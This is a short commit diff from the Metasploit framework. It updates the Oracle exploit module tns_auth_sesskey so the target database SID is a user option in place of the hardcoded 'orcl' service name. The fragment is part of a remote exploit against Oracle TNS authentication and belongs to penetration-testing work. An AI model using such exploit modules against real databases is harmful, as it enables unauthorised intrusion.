Updating tns_auth_sesskey to use a user-supplied SID
Applying the patch suggested by Lukas, here: http://mail.metasploit.com/pipermail/framework/2012-January/008374.htmlunstable
parent
13069990eb
commit
092b226cce
|
@ -71,6 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SID', [ true, 'The target database SID', 'ORCL']),
|
||||
Opt::RPORT(1521)
|
||||
], self.class)
|
||||
end
|
||||
|
@ -125,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
connect_data = "" +
|
||||
"(DESCRIPTION=" +
|
||||
"(CONNECT_DATA=" +
|
||||
"(SERVICE_NAME=orcl)" +
|
||||
"(SERVICE_NAME=#{datastore['SID']})" +
|
||||
"(CID=" +
|
||||
"(PROGRAM=client.exe)" +
|
||||
"(HOST=client_host)" +
|
||||
|
|
Loading…
Reference in New Issue